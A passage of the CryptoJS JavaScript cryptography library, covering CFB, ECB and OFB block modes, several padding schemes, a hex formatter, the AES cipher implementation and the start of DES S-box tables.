{\n\t            // Apply config defaults\n\t            cfg = this.cfg.extend(cfg);\n\n\t            // Convert string to CipherParams\n\t            ciphertext = this._parse(ciphertext, cfg.format);\n\n\t            // Derive key and other params\n\t            var derivedParams = cfg.kdf.execute(password, cipher.keySize, cipher.ivSize, ciphertext.salt);\n\n\t            // Add IV to config\n\t            cfg.iv = derivedParams.iv;\n\n\t            // Decrypt\n\t            var plaintext = SerializableCipher.decrypt.call(this, cipher, ciphertext, derivedParams.key, cfg);\n\n\t            return plaintext;\n\t        }\n\t    });\n\t}());\n\n\n\t/**\n\t * Cipher Feedback block mode.\n\t */\n\tCryptoJS.mode.CFB = (function () {\n\t    var CFB = CryptoJS.lib.BlockCipherMode.extend();\n\n\t    CFB.Encryptor = CFB.extend({\n\t        processBlock: function (words, offset) {\n\t            // Shortcuts\n\t            var cipher = this._cipher;\n\t            var blockSize = cipher.blockSize;\n\n\t            generateKeystreamAndEncrypt.call(this, words, offset, blockSize, cipher);\n\n\t            // Remember this block to use with next block\n\t            this._prevBlock = words.slice(offset, offset + blockSize);\n\t        }\n\t    });\n\n\t    CFB.Decryptor = CFB.extend({\n\t        processBlock: function (words, offset) {\n\t            // Shortcuts\n\t            var cipher = this._cipher;\n\t            var blockSize = cipher.blockSize;\n\n\t            // Remember this block to use with next block\n\t            var thisBlock = words.slice(offset, offset + blockSize);\n\n\t            generateKeystreamAndEncrypt.call(this, words, offset, blockSize, cipher);\n\n\t            // This block becomes the previous block\n\t            this._prevBlock = thisBlock;\n\t        }\n\t    });\n\n\t    function generateKeystreamAndEncrypt(words, offset, blockSize, cipher) {\n\t        // Shortcut\n\t        var iv = this._iv;\n\n\t        // Generate keystream\n\t        if (iv) {\n\t            var keystream = iv.slice(0);\n\n\t            // Remove IV for subsequent blocks\n\t            this._iv = undefined;\n\t        } else {\n\t            var keystream = this._prevBlock;\n\t        }\n\t        cipher.encryptBlock(keystream, 0);\n\n\t        // Encrypt\n\t        for (var i = 0; i < blockSize; i++) {\n\t            words[offset + i] ^= keystream[i];\n\t        }\n\t    }\n\n\t    return CFB;\n\t}());\n\n\n\t/**\n\t * Electronic Codebook block mode.\n\t */\n\tCryptoJS.mode.ECB = (function () {\n\t    var ECB = CryptoJS.lib.BlockCipherMode.extend();\n\n\t    ECB.Encryptor = ECB.extend({\n\t        processBlock: function (words, offset) {\n\t            this._cipher.encryptBlock(words, offset);\n\t        }\n\t    });\n\n\t    ECB.Decryptor = ECB.extend({\n\t        processBlock: function (words, offset) {\n\t            this._cipher.decryptBlock(words, offset);\n\t        }\n\t    });\n\n\t    return ECB;\n\t}());\n\n\n\t/**\n\t * ANSI X.923 padding strategy.\n\t */\n\tCryptoJS.pad.AnsiX923 = {\n\t    pad: function (data, blockSize) {\n\t        // Shortcuts\n\t        var dataSigBytes = data.sigBytes;\n\t        var blockSizeBytes = blockSize * 4;\n\n\t        // Count padding bytes\n\t        var nPaddingBytes = blockSizeBytes - dataSigBytes % blockSizeBytes;\n\n\t        // Compute last byte position\n\t        var lastBytePos = dataSigBytes + nPaddingBytes - 1;\n\n\t        // Pad\n\t        data.clamp();\n\t        data.words[lastBytePos >>> 2] |= nPaddingBytes << (24 - (lastBytePos % 4) * 8);\n\t        data.sigBytes += nPaddingBytes;\n\t    },\n\n\t    unpad: function (data) {\n\t        // Get number of padding bytes from last byte\n\t        var nPaddingBytes = data.words[(data.sigBytes - 1) >>> 2] & 0xff;\n\n\t        // Remove padding\n\t        data.sigBytes -= nPaddingBytes;\n\t    }\n\t};\n\n\n\t/**\n\t * ISO 10126 padding strategy.\n\t */\n\tCryptoJS.pad.Iso10126 = {\n\t    pad: function (data, blockSize) {\n\t        // Shortcut\n\t        var blockSizeBytes = blockSize * 4;\n\n\t        // Count padding bytes\n\t        var nPaddingBytes = blockSizeBytes - data.sigBytes % blockSizeBytes;\n\n\t        // Pad\n\t        data.concat(CryptoJS.lib.WordArray.random(nPaddingBytes - 1)).\n\t             concat(CryptoJS.lib.WordArray.create([nPaddingBytes << 24], 1));\n\t    },\n\n\t    unpad: function (data) {\n\t        // Get number of padding bytes from last byte\n\t        var nPaddingBytes = data.words[(data.sigBytes - 1) >>> 2] & 0xff;\n\n\t        // Remove padding\n\t        data.sigBytes -= nPaddingBytes;\n\t    }\n\t};\n\n\n\t/**\n\t * ISO/IEC 9797-1 Padding Method 2.\n\t */\n\tCryptoJS.pad.Iso97971 = {\n\t    pad: function (data, blockSize) {\n\t        // Add 0x80 byte\n\t        data.concat(CryptoJS.lib.WordArray.create([0x80000000], 1));\n\n\t        // Zero pad the rest\n\t        CryptoJS.pad.ZeroPadding.pad(data, blockSize);\n\t    },\n\n\t    unpad: function (data) {\n\t        // Remove zero padding\n\t        CryptoJS.pad.ZeroPadding.unpad(data);\n\n\t        // Remove one more byte -- the 0x80 byte\n\t        data.sigBytes--;\n\t    }\n\t};\n\n\n\t/**\n\t * Output Feedback block mode.\n\t */\n\tCryptoJS.mode.OFB = (function () {\n\t    var OFB = CryptoJS.lib.BlockCipherMode.extend();\n\n\t    var Encryptor = OFB.Encryptor = OFB.extend({\n\t        processBlock: function (words, offset) {\n\t            // Shortcuts\n\t            var cipher = this._cipher\n\t            var blockSize = cipher.blockSize;\n\t            var iv = this._iv;\n\t            var keystream = this._keystream;\n\n\t            // Generate keystream\n\t            if (iv) {\n\t                keystream = this._keystream = iv.slice(0);\n\n\t                // Remove IV for subsequent blocks\n\t                this._iv = undefined;\n\t            }\n\t            cipher.encryptBlock(keystream, 0);\n\n\t            // Encrypt\n\t            for (var i = 0; i < blockSize; i++) {\n\t                words[offset + i] ^= keystream[i];\n\t            }\n\t        }\n\t    });\n\n\t    OFB.Decryptor = Encryptor;\n\n\t    return OFB;\n\t}());\n\n\n\t/**\n\t * A noop padding strategy.\n\t */\n\tCryptoJS.pad.NoPadding = {\n\t    pad: function () {\n\t    },\n\n\t    unpad: function () {\n\t    }\n\t};\n\n\n\t(function (undefined) {\n\t    // Shortcuts\n\t    var C = CryptoJS;\n\t    var C_lib = C.lib;\n\t    var CipherParams = C_lib.CipherParams;\n\t    var C_enc = C.enc;\n\t    var Hex = C_enc.Hex;\n\t    var C_format = C.format;\n\n\t    var HexFormatter = C_format.Hex = {\n\t        /**\n\t         * Converts the ciphertext of a cipher params object to a hexadecimally encoded string.\n\t         *\n\t         * @param {CipherParams} cipherParams The cipher params object.\n\t         *\n\t         * @return {string} The hexadecimally encoded string.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var hexString = CryptoJS.format.Hex.stringify(cipherParams);\n\t         */\n\t        stringify: function (cipherParams) {\n\t            return cipherParams.ciphertext.toString(Hex);\n\t        },\n\n\t        /**\n\t         * Converts a hexadecimally encoded ciphertext string to a cipher params object.\n\t         *\n\t         * @param {string} input The hexadecimally encoded string.\n\t         *\n\t         * @return {CipherParams} The cipher params object.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var cipherParams = CryptoJS.format.Hex.parse(hexString);\n\t         */\n\t        parse: function (input) {\n\t            var ciphertext = Hex.parse(input);\n\t            return CipherParams.create({ ciphertext: ciphertext });\n\t        }\n\t    };\n\t}());\n\n\n\t(function () {\n\t    // Shortcuts\n\t    var C = CryptoJS;\n\t    var C_lib = C.lib;\n\t    var BlockCipher = C_lib.BlockCipher;\n\t    var C_algo = C.algo;\n\n\t    // Lookup tables\n\t    var SBOX = [];\n\t    var INV_SBOX = [];\n\t    var SUB_MIX_0 = [];\n\t    var SUB_MIX_1 = [];\n\t    var SUB_MIX_2 = [];\n\t    var SUB_MIX_3 = [];\n\t    var INV_SUB_MIX_0 = [];\n\t    var INV_SUB_MIX_1 = [];\n\t    var INV_SUB_MIX_2 = [];\n\t    var INV_SUB_MIX_3 = [];\n\n\t    // Compute lookup tables\n\t    (function () {\n\t        // Compute double table\n\t        var d = [];\n\t        for (var i = 0; i < 256; i++) {\n\t            if (i < 128) {\n\t                d[i] = i << 1;\n\t            } else {\n\t                d[i] = (i << 1) ^ 0x11b;\n\t            }\n\t        }\n\n\t        // Walk GF(2^8)\n\t        var x = 0;\n\t        var xi = 0;\n\t        for (var i = 0; i < 256; i++) {\n\t            // Compute sbox\n\t            var sx = xi ^ (xi << 1) ^ (xi << 2) ^ (xi << 3) ^ (xi << 4);\n\t            sx = (sx >>> 8) ^ (sx & 0xff) ^ 0x63;\n\t            SBOX[x] = sx;\n\t            INV_SBOX[sx] = x;\n\n\t            // Compute multiplication\n\t            var x2 = d[x];\n\t            var x4 = d[x2];\n\t            var x8 = d[x4];\n\n\t            // Compute sub bytes, mix columns tables\n\t            var t = (d[sx] * 0x101) ^ (sx * 0x1010100);\n\t            SUB_MIX_0[x] = (t << 24) | (t >>> 8);\n\t            SUB_MIX_1[x] = (t << 16) | (t >>> 16);\n\t            SUB_MIX_2[x] = (t << 8)  | (t >>> 24);\n\t            SUB_MIX_3[x] = t;\n\n\t            // Compute inv sub bytes, inv mix columns tables\n\t            var t = (x8 * 0x1010101) ^ (x4 * 0x10001) ^ (x2 * 0x101) ^ (x * 0x1010100);\n\t            INV_SUB_MIX_0[sx] = (t << 24) | (t >>> 8);\n\t            INV_SUB_MIX_1[sx] = (t << 16) | (t >>> 16);\n\t            INV_SUB_MIX_2[sx] = (t << 8)  | (t >>> 24);\n\t            INV_SUB_MIX_3[sx] = t;\n\n\t            // Compute next counter\n\t            if (!x) {\n\t                x = xi = 1;\n\t            } else {\n\t                x = x2 ^ d[d[d[x8 ^ x2]]];\n\t                xi ^= d[d[xi]];\n\t            }\n\t        }\n\t    }());\n\n\t    // Precomputed Rcon lookup\n\t    var RCON = [0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36];\n\n\t    /**\n\t     * AES block cipher algorithm.\n\t     */\n\t    var AES = C_algo.AES = BlockCipher.extend({\n\t        _doReset: function () {\n\t            // Skip reset of nRounds has been set before and key did not change\n\t            if (this._nRounds && this._keyPriorReset === this._key) {\n\t                return;\n\t            }\n\n\t            // Shortcuts\n\t            var key = this._keyPriorReset = this._key;\n\t            var keyWords = key.words;\n\t            var keySize = key.sigBytes / 4;\n\n\t            // Compute number of rounds\n\t            var nRounds = this._nRounds = keySize + 6;\n\n\t            // Compute number of key schedule rows\n\t            var ksRows = (nRounds + 1) * 4;\n\n\t            // Compute key schedule\n\t            var keySchedule = this._keySchedule = [];\n\t            for (var ksRow = 0; ksRow < ksRows; ksRow++) {\n\t                if (ksRow < keySize) {\n\t                    keySchedule[ksRow] = keyWords[ksRow];\n\t                } else {\n\t                    var t = keySchedule[ksRow - 1];\n\n\t                    if (!(ksRow % keySize)) {\n\t                        // Rot word\n\t                        t = (t << 8) | (t >>> 24);\n\n\t                        // Sub word\n\t                        t = (SBOX[t >>> 24] << 24) | (SBOX[(t >>> 16) & 0xff] << 16) | (SBOX[(t >>> 8) & 0xff] << 8) | SBOX[t & 0xff];\n\n\t                        // Mix Rcon\n\t                        t ^= RCON[(ksRow / keySize) | 0] << 24;\n\t                    } else if (keySize > 6 && ksRow % keySize == 4) {\n\t                        // Sub word\n\t                        t = (SBOX[t >>> 24] << 24) | (SBOX[(t >>> 16) & 0xff] << 16) | (SBOX[(t >>> 8) & 0xff] << 8) | SBOX[t & 0xff];\n\t                    }\n\n\t                    keySchedule[ksRow] = keySchedule[ksRow - keySize] ^ t;\n\t                }\n\t            }\n\n\t            // Compute inv key schedule\n\t            var invKeySchedule = this._invKeySchedule = [];\n\t            for (var invKsRow = 0; invKsRow < ksRows; invKsRow++) {\n\t                var ksRow = ksRows - invKsRow;\n\n\t                if (invKsRow % 4) {\n\t                    var t = keySchedule[ksRow];\n\t                } else {\n\t                    var t = keySchedule[ksRow - 4];\n\t                }\n\n\t                if (invKsRow < 4 || ksRow <= 4) {\n\t                    invKeySchedule[invKsRow] = t;\n\t                } else {\n\t                    invKeySchedule[invKsRow] = INV_SUB_MIX_0[SBOX[t >>> 24]] ^ INV_SUB_MIX_1[SBOX[(t >>> 16) & 0xff]] ^\n\t                                               INV_SUB_MIX_2[SBOX[(t >>> 8) & 0xff]] ^ INV_SUB_MIX_3[SBOX[t & 0xff]];\n\t                }\n\t            }\n\t        },\n\n\t        encryptBlock: function (M, offset) {\n\t            this._doCryptBlock(M, offset, this._keySchedule, SUB_MIX_0, SUB_MIX_1, SUB_MIX_2, SUB_MIX_3, SBOX);\n\t        },\n\n\t        decryptBlock: function (M, offset) {\n\t            // Swap 2nd and 4th rows\n\t            var t = M[offset + 1];\n\t            M[offset + 1] = M[offset + 3];\n\t            M[offset + 3] = t;\n\n\t            this._doCryptBlock(M, offset, this._invKeySchedule, INV_SUB_MIX_0, INV_SUB_MIX_1, INV_SUB_MIX_2, INV_SUB_MIX_3, INV_SBOX);\n\n\t            // Inv swap 2nd and 4th rows\n\t            var t = M[offset + 1];\n\t            M[offset + 1] = M[offset + 3];\n\t            M[offset + 3] = t;\n\t        },\n\n\t        _doCryptBlock: function (M, offset, keySchedule, SUB_MIX_0, SUB_MIX_1, SUB_MIX_2, SUB_MIX_3, SBOX) {\n\t            // Shortcut\n\t            var nRounds = this._nRounds;\n\n\t            // Get input, add round key\n\t            var s0 = M[offset]     ^ keySchedule[0];\n\t            var s1 = M[offset + 1] ^ keySchedule[1];\n\t            var s2 = M[offset + 2] ^ keySchedule[2];\n\t            var s3 = M[offset + 3] ^ keySchedule[3];\n\n\t            // Key schedule row counter\n\t            var ksRow = 4;\n\n\t            // Rounds\n\t            for (var round = 1; round < nRounds; round++) {\n\t                // Shift rows, sub bytes, mix columns, add round key\n\t                var t0 = SUB_MIX_0[s0 >>> 24] ^ SUB_MIX_1[(s1 >>> 16) & 0xff] ^ SUB_MIX_2[(s2 >>> 8) & 0xff] ^ SUB_MIX_3[s3 & 0xff] ^ keySchedule[ksRow++];\n\t                var t1 = SUB_MIX_0[s1 >>> 24] ^ SUB_MIX_1[(s2 >>> 16) & 0xff] ^ SUB_MIX_2[(s3 >>> 8) & 0xff] ^ SUB_MIX_3[s0 & 0xff] ^ keySchedule[ksRow++];\n\t                var t2 = SUB_MIX_0[s2 >>> 24] ^ SUB_MIX_1[(s3 >>> 16) & 0xff] ^ SUB_MIX_2[(s0 >>> 8) & 0xff] ^ SUB_MIX_3[s1 & 0xff] ^ keySchedule[ksRow++];\n\t                var t3 = SUB_MIX_0[s3 >>> 24] ^ SUB_MIX_1[(s0 >>> 16) & 0xff] ^ SUB_MIX_2[(s1 >>> 8) & 0xff] ^ SUB_MIX_3[s2 & 0xff] ^ keySchedule[ksRow++];\n\n\t                // Update state\n\t                s0 = t0;\n\t                s1 = t1;\n\t                s2 = t2;\n\t                s3 = t3;\n\t            }\n\n\t            // Shift rows, sub bytes, add round key\n\t            var t0 = ((SBOX[s0 >>> 24] << 24) | (SBOX[(s1 >>> 16) & 0xff] << 16) | (SBOX[(s2 >>> 8) & 0xff] << 8) | SBOX[s3 & 0xff]) ^ keySchedule[ksRow++];\n\t            var t1 = ((SBOX[s1 >>> 24] << 24) | (SBOX[(s2 >>> 16) & 0xff] << 16) | (SBOX[(s3 >>> 8) & 0xff] << 8) | SBOX[s0 & 0xff]) ^ keySchedule[ksRow++];\n\t            var t2 = ((SBOX[s2 >>> 24] << 24) | (SBOX[(s3 >>> 16) & 0xff] << 16) | (SBOX[(s0 >>> 8) & 0xff] << 8) | SBOX[s1 & 0xff]) ^ keySchedule[ksRow++];\n\t            var t3 = ((SBOX[s3 >>> 24] << 24) | (SBOX[(s0 >>> 16) & 0xff] << 16) | (SBOX[(s1 >>> 8) & 0xff] << 8) | SBOX[s2 & 0xff]) ^ keySchedule[ksRow++];\n\n\t            // Set output\n\t            M[offset]     = t0;\n\t            M[offset + 1] = t1;\n\t            M[offset + 2] = t2;\n\t            M[offset + 3] = t3;\n\t        },\n\n\t        keySize: 256/32\n\t    });\n\n\t    /**\n\t     * Shortcut functions to the cipher's object interface.\n\t     *\n\t     * @example\n\t     *\n\t     *     var ciphertext = CryptoJS.AES.encrypt(message, key, cfg);\n\t     *     var plaintext  = CryptoJS.AES.decrypt(ciphertext, key, cfg);\n\t     */\n\t    C.AES = BlockCipher._createHelper(AES);\n\t}());\n\n\n\t(function () {\n\t    // Shortcuts\n\t    var C = CryptoJS;\n\t    var C_lib = C.lib;\n\t    var WordArray = C_lib.WordArray;\n\t    var BlockCipher = C_lib.BlockCipher;\n\t    var C_algo = C.algo;\n\n\t    // Permuted Choice 1 constants\n\t    var PC1 = [\n\t        57, 49, 41, 33, 25, 17, 9,  1,\n\t        58, 50, 42, 34, 26, 18, 10, 2,\n\t        59, 51, 43, 35, 27, 19, 11, 3,\n\t        60, 52, 44, 36, 63, 55, 47, 39,\n\t        31, 23, 15, 7,  62, 54, 46, 38,\n\t        30, 22, 14, 6,  61, 53, 45, 37,\n\t        29, 21, 13, 5,  28, 20, 12, 4\n\t    ];\n\n\t    // Permuted Choice 2 constants\n\t    var PC2 = [\n\t        14, 17, 11, 24, 1,  5,\n\t        3,  28, 15, 6,  21, 10,\n\t        23, 19, 12, 4,  26, 8,\n\t        16, 7,  27, 20, 13, 2,\n\t        41, 52, 31, 37, 47, 55,\n\t        30, 40, 51, 45, 33, 48,\n\t        44, 49, 39, 56, 34, 53,\n\t        46, 42, 50, 36, 29, 32\n\t    ];\n\n\t    // Cumulative bit shift constants\n\t    var BIT_SHIFTS = [1,  2,  4,  6,  8,  10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28];\n\n\t    // SBOXes and round permutation constants\n\t    var SBOX_P = [\n\t        {\n\t            0x0: 0x808200,\n\t            0x10000000: 0x8000,\n\t            0x20000000: 0x808002,\n\t            0x30000000: 0x2,\n\t            0x40000000: 0x200,\n\t            0x50000000: 0x808202,\n\t            0x60000000: 0x800202,\n\t            0x70000000: 0x800000,\n\t            0x80000000: 0x202,\n\t            0x90000000: 0x800200,\n\t            0xa0000000: 0x8200,\n\t            0xb0000000: 0x808000,\n\t            0xc0000000: 0x8002,\n\t            0xd0000000: 0x800002,\n\t            0xe0000000: 0x0,\n\t            0xf0000000: 0x8202,\n\t            0x8000000: 0x0,\n\t            0x18000000: 0x808202,\n\t            0x28000000: 0x8202,\n\t            0x38000000: 0x8000,\n\t            0x48000000: 0x808200,\n\t            0x58000000: 0x200,\n\t            0x68000000: 0x808002,\n\t            0x78000000: 0x2,\n\t            0x88000000: 0x800200,\n\t            0x98000000: 0x8200,\n\t            0xa8000000: 0x808000,\n\t            0xb8000000: 0x800202,\n\t            0xc8000000: 0x800002,\n\t            0xd8000000: 0x8002,\n\t            0xe8000000: 0x202,\n\t            0xf8000000: 0x800000,\n\t            0x1: 0x8000,\n\t            0x10000001: 0x2,\n\t            0x20000001: 0x808200,\n\t            0x30000001: 0x800000,\n\t            0x40000001: 0x808002,\n\t            0x50000001: 0x8200,\n\t            0x60000001: 0x200,\n\t            0x70000001: 0x800202,\n\t            0x80000001: 0x808202,\n\t            0x90000001: 0x808000,\n\t            0xa0000001: 0x800002,\n\t            0xb0000001: 0x8202,\n\t            0xc0000001: 0x202,\n\t            0xd0000001: 0x800200,\n\t            0xe0000001: 0x8002,\n\t            0xf0000001: 0x0,\n\t            0x8000001: 0x808202,\n\t            0x18000001: 0x808000,\n\t            0x28000001: 0x800000,\n\t            0x38000001: 0x200,\n\t            0x48000001: 0x8000,\n\t            0x58000001: 0x800002,\n\t            0x68000001: 0x2,\n\t            0x78000001: 0x8202,\n\t            0x88000001: 0x8002,\n\t            0x98000001: 0x800202,\n\t            0xa8000001: 0x202,\n\t            0xb8000001: 0x808200,\n\t            0xc8000001: 0x800200,\n\t            0xd8000001: 0x0,\n\t            0xe8000001: 0x8200,\n\t            0xf8000001: 0x808002\n\t        },\n\t        {\n\t            0x0: 0x40084010,\n\t            0x1000000: 0x4000,\n\t            0x2000000: 0x80000,\n\t            0x3000000: 0x40080010,\n\t            0x4000000: 0x40000010,\n\t            0x5000000: 0x40084000,\n\t            0x6000000: 0x40004000,\n\t            0x7000000: 0x10,\n\t            0x8000000: 0x84000,\n\t            0x9000000: 0x40004010,\n\t            0xa000000: 0x40000000,\n\t            0xb000000: 0x84010,\n\t            0xc000000: 0x80010,\n\t            0xd000000: 0x0,\n\t            0xe000000: 0x4010,\n\t            0xf000000: 0x40080000,\n\t            0x800000: 0x40004000,\n\t            0x1800000: 0x84010,\n\t            0x2800000: 0x10,\n\t            0x3800000: 0x40004010,\n\t            0x4800000: 0x40084010,\n\t            0x5800000: 0x40000000,\n\t            0x6800000: 0x80000,\n\t            0x7800000: 0x40080010,\n\t            0x8800000: 0x80010,\n\t            0x9800000: 0x0,\n\t            0xa800000: 0x4000,\n\t            0xb800000: 0x40080000,\n\t            0xc800000: 0x40000010,\n\t            0xd800000: 0x84000,\n\t            0xe800000: 0x40084000,\n\t            0xf800000: 0x4010,\n\t            0x10000000: 0x0,\n\t            0x11000000: 0x40080010,\n\t            0x12000000: 0x40004010,\n\t            0x13000000: 0x40084000,\n\t            0x14000000: 0x40080000,\n\t            0x15000000: 0x10,\n\t            0x16000000: 0x84010,\n\t            0x17000000: 0x4000,\n\t            0x18000000: 0x4010,\n\t            0x19000000: 0x80000,\n\t            0x1a000000: 0x80010,\n\t            0x1b000000: 0x40000010,\n\t            0x1c000000: 0x84000,\n\t            0x1d000000: 0x40004000,\n\t            0x1e000000: 0x40000000,\n\t            0x1f000000: 0x40084010,\n\t            0x10800000: 0x84010,\n\t            0x11800000: 0x80000,\n\t            0x12800000: 0x40080000,\n\t            0x13800000: 0x4000,\n\t            0x14800000: 0x40004000,\n\t            0x15800000: 0x40084010,\n\t            0x16800000: 0x10,\n\t            0x17800000: 0x40000000,\n\t            0x18800000: 0x40084000,\n\t            0x19800000: 0x40000010,\n\t            0x1a800000: 0x40004010,\n\t            0x1b800000: 0x80010,\n\t            0x1c800000: 0x0,\n\t            0x1d800000: 0x4010,\n\t            0x1e800000: 0x40080010,\n\t            0x1f800000: 0x84000\n\t        },\n\t        {\n\t            0x0: 0x104,\n\t            0x100000: 0x0,\n\t            0x200000: 0x4000100,\n\t            0x300000: 0x10104,\n\t            0x400000: 0x10004,\n\t            0x500000: 0x4000004,\n\t            0x600000: 0x4010104,\n\t            0x700000: 0x4010000,\n\t            0x800000: 0x4000000,\n\t            0x900000: 0x4010100,\n\t            0xa00000: 0x10100,\n\t            0xb00000: 0x4010004,\n\t            0xc00000: 0x4000104,\n\t            0xd00000: 0x10000,\n\t            0xe00000: 0x4,\n\t            0xf00000: 0x100,\n\t            0x80000: 0x4010100,\n\t            0x180000: 0x4010004,\n\t            0x280000: 0x0,\n\t            0x380000: 0x4000100,\n\t            0x480000: 0x4000004,\n\t            0x580000: 0x10000,\n\t            0x680000: 0x10004,\n\t            0x780000: 0x104,\n\t            0x880000: 0x4,\n\t            0x980000: 0x100,\n\t            0xa80000: 0x4010000,\n\t            0xb80000: 0x10104,\n\t            0xc80000: 0x10100,\n\t            0xd80000: 0x4000104,\n\t            0xe80000: 0x4010104,\n\t            0xf80000: 0x4000000,\n\t            0x1000000: 0x4010100,\n\t            0x1100000: 0x10004,\n\t            0x1200000: 0x10000,\n\t            0x1300000: 0x4000100,\n\t            0x1400000: 0x100,\n\t            0x1500000: 0x4010104,\n\t            0x1600000: 0x4000004,\n\t            0x1700000: 0x0,\n\t            0x1800000: 0x4000104,\n\t            0x1900000: 0x4000000,\n\t            0x1a00000: 0x4,\n\t            0x1b00000: 0x10100,\n\t            0x1c00000: 0x4010000,\n\t            0x1d00000: 0x104,\n\t            0x1e00000: 0x10104,\n\t            0x1f00000: 0x4010004,\n\t            0x1080000: 0x4000000,\n\t            0x1180000: 0x104,\n\t            0x1280000: 0x4010100,\n\t            0x1380000: 0x0,\n\t            0x1480000: 0x10004,\n\t            0x1580000: 0x4000100,\n\t            0x1680000: 0x100,\n\t            0x1780000: 0x4010004,\n\t            0x1880000: 0x10000,\n\t            0x1980000: 0x4010104,\n\t            0x1a80000: 0x10104,\n\t            0x1b80000: 0x4000004,\n\t            0x1c80000: 0x4000104,\n\t            0x1d80000: 0x4010000,\n\t            0x1e80000: 0x4,\n\t            0x1f80000: 0x10100\n\t        },\n\t        {\n\t            0x0: 0x80401000,\n\t            0x10000: 0x80001040,\n\t            0x20000: 0x401040,\n\t            0x30000: 0x80400000,\n\t            0x40000: 0x0,\n\t            0x50000: 0x401000,\n\t            0x60000: 0x80000040,\n\t            0x70000: 0x400040,\n\t            0x80000: 0x80000000,\n\t            0x90000: 0x400000,\n\t            0xa0000: 0x40,\n\t            0xb0000: 0x80001000,\n\t            0xc0000: 0x80400040,\n\t            0xd0000: 0x1040,\n\t            0xe0000: 0x1000,\n\t            0xf0000: 0x80401040,\n\t            0x8000: 0x80001040,\n\t            0x18000: 0x40,\n\t            0x28000: 0x80400040,\n\t            0x38000: 0x80001000,\n\t            0x48000: 0x401000,\n\t            0x58000: 0x80401040,\n\t            0x68000: 0x0,\n\t            0x78000: 0x80400000,\n\t            0x88000: 0x1000,\n\t            0x98000: 0x80401000,\n\t            0xa8000: 0x400000,\n\t            0xb8000: 0x1040,\n\t            0xc8000: 0x80000000,\n\t            0xd8000: 0x400040,\n\t            0xe8000: 0x401040,\n\t            0xf8000: 0x80000040,\n\t            0x100000: 0x400040,\n\t            0x110000: 0x401000,\n\t            0x120000: 0x80000040,\n\t            0x130000: 0x0,\n\t            0x140000: 0x1040,\n\t            0x150000: 0x80400040,\n\t            0x160000: 0x80401000,\n\t            0x170000: 0x80001040,\n\t            0x180000: 0x80401040,\n\t            0x190000: 0x80000000,\n\t            0x1a0000: 0x80400000,\n\t            0x1b0000: 0x401040,\n\t            0x1c0000: 0x80001000,\n\t            0x1d0000: 0x400000,\n\t            0x1e0000: 0x40,\n\t            0x1f0000: 0x1000,\n\t            0x108000: 0x80400000,\n\t            0x118000: 0x80401040,\n\t            0x128000: 0x0,\n\t            0x138000: 0x401000,\n\t            0x148000: 0x400040,\n\t            0x158000: 0x80000000,\n\t            0x168000: 0x80001040,\n\t            0x178000: 0x40,\n\t            0x188000: 0x80000040,\n\t            0x198000: 0x1000,\n\t            0x1a8000: 0x80001000,\n\t            0x1b8000: 0x80400040,\n\t            0x1c8000: 0x1040,\n\t            0x1d8000: 0x80401000,\n\t            0x1e8000: 0x400000,\n\t            0x1f8000: 0x401040\n\t        },\n\t        {\n\t            0x0: 0x80,\n\t            0x1000: 0x1040000,\n\t            0x2000: 0x40000,\n\t            0x3000: 0x20000000,\n\t            0x4000: 0x20040080,\n\t            0x5000: 0x1000080,\n\t            0x6000: 0x21000080,\n\t            0x7000: 0x40080,\n\t            0x8000: 0x1000000,\n\t            0x9000: 0x20040000,\n\t            0xa000: 0x20000080,\n\t            0xb000: 0x21040080,\n\t            0xc000: 0x21040000,\n\t            0xd000: 0x0,\n\t            0xe000: 0x1040080,\n\t            0xf000: 0x21000000,\n\t            0x800: 0x1040080,\n\t            0x1800: 0x21000080,\n\t            0x2800: 0x80,\n\t            0x3800: 0x1040000,\n\t            0x4800: 0x40000,\n\t            0x5800: 0x20040080,\n\t            0x6800: 0x21040000,\n\t            0x7800: 0x20000000,\n\t            0x8800: 0x20040000,\n\t            0x9800: 0x0,\n\t            0xa800: 0x21040080,\n\t            0xb800: 0x1000080,\n\t            0xc800: 0x20000080,\n\t            0xd800: 0x21000000,\n\t            0xe800: 0x1000000,\n\t            0xf800: 0x40080,\n\t            0x10000: 0x40000,\n\t            0x11000: 0x80,\n\t            0x12000: 0x20000000,\n\t            0x13000: 0x21000080,\n\t            0x14000: 0x1000080,\n\t            0x15000: 0x21040000,\n\t            0x16000: 0x20040080,\n\t            0x17000: 0x1000000,\n\t            0x18000: 0x21040080,\n\t            0x19000: 0x21000000,\n\t            0x1a000: 0x1040000,\n\t            0x1b000: 0x20040000,\n\t            0x1c000: 0x40080,\n\t            0x1d000: 0x20000080,\n\t            0x1e000: 0x0,\n\t            0x1f000: 0x1040080,\n\t            0x10800: 0x21000080,\n\t            0x11800: 0x1000000,\n\t            0x12800: 0x1040000,\n\t            0x13800: 0x20040080,\n\t            0x14800: 0x20000000,\n\t            0x15800: 0x1040080,\n\t            0x16800: 0x80,\n\t            0x17800: 0x21040000,\n\t            0x18800: 0x40080,\n\t            0x19800: 0x21040080,\n\t            0x1a800: 0x0,\n\t            0x1b800: 0x21000000,\n\t            0x1c800: 0x1000080,\n\t            0x1d800: 0x40000,\n\t            0x1e800: 0x20040000,\n\t            0x1f800: 0x20000080\n\t        },\n\t        {\n\t            0x0: 0x10000008,\n\t            0x100: 0x2000,\n\t            0x200: 0x10200000,\n\t            0x300: 0x10202008,\n\t            0x400: 0x10002000,\n\t            0x500: 0x200000,\n\t            0x600: 0x200008,\n\t            0x700: 0x10000000,\n\t            0x800: 0x0,\n\t            0x900: 0x10002008,\n\t            0xa00: 0x202000,\n\t            0xb00: 0x8,\n\t            0xc00: 0x10200008,\n\t            0xd00: 0x202008,\n\t            0xe00: 0x2008,\n\t            0xf00: 0x10202000,\n\t            0x80: 0x10200000,\n\t            0x180: 0x10202008,\n\t            0x280: 0x8,\n\t            0x380: 0x200000,\n\t            0x480: 0x202008,\n\t            0x580: 0x10000008,\n\t            0x680: 0x10002000,\n\t            0x780: 0x2008,\n\t            0x880: 0x200008,\n\t            0x980: 0x2000,\n\t            0xa80: 0x10002008,\n\t            0xb80: 0x10200008,\n\t            0xc80: 0x0,\n\t            0xd80: 0x10202000,\n\t            0xe80: 0x202000,\n\t            0xf80: 0x10000000,\n\t            0x1000: 0x10002000,\n\t            0x1100: 0x10200008,\n\t            0x1200: 0x10202008,\n\t            0x1300: 0x2008,\n\t            0x1400: 0x200000,\n\t            0x1500: 